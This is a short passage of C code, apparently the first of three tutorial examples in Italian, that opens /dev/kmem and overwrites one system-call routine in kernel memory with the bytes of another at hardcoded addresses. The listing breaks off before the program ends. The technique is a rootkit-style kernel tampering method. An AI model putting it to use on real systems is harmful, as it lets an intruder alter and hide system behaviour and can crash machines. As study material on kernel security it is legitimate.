KMEM
Esempio 1/3
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
  int fd;
  char buff_getpid[16];
  char buff_getuid[16];

  if((fd=open("/dev/kmem",O_RDWR))<0) return 1;

  if(lseek(fd, 0xc01245b0, SEEK_SET)==-1) return 1;
  if(read(fd,buff_getpid, 16)!=16) return 1;

  if(lseek(fd, 0xc01245e0, SEEK_SET)==-1) return 1;
  if(read(fd,&buff_getuid, 16)!=16) return 1;

  if(lseek(fd, 0xc01245b0, SEEK_SET)==-1) return 1;
  if(write(fd,buff_getuid, 16)!=16) return 1;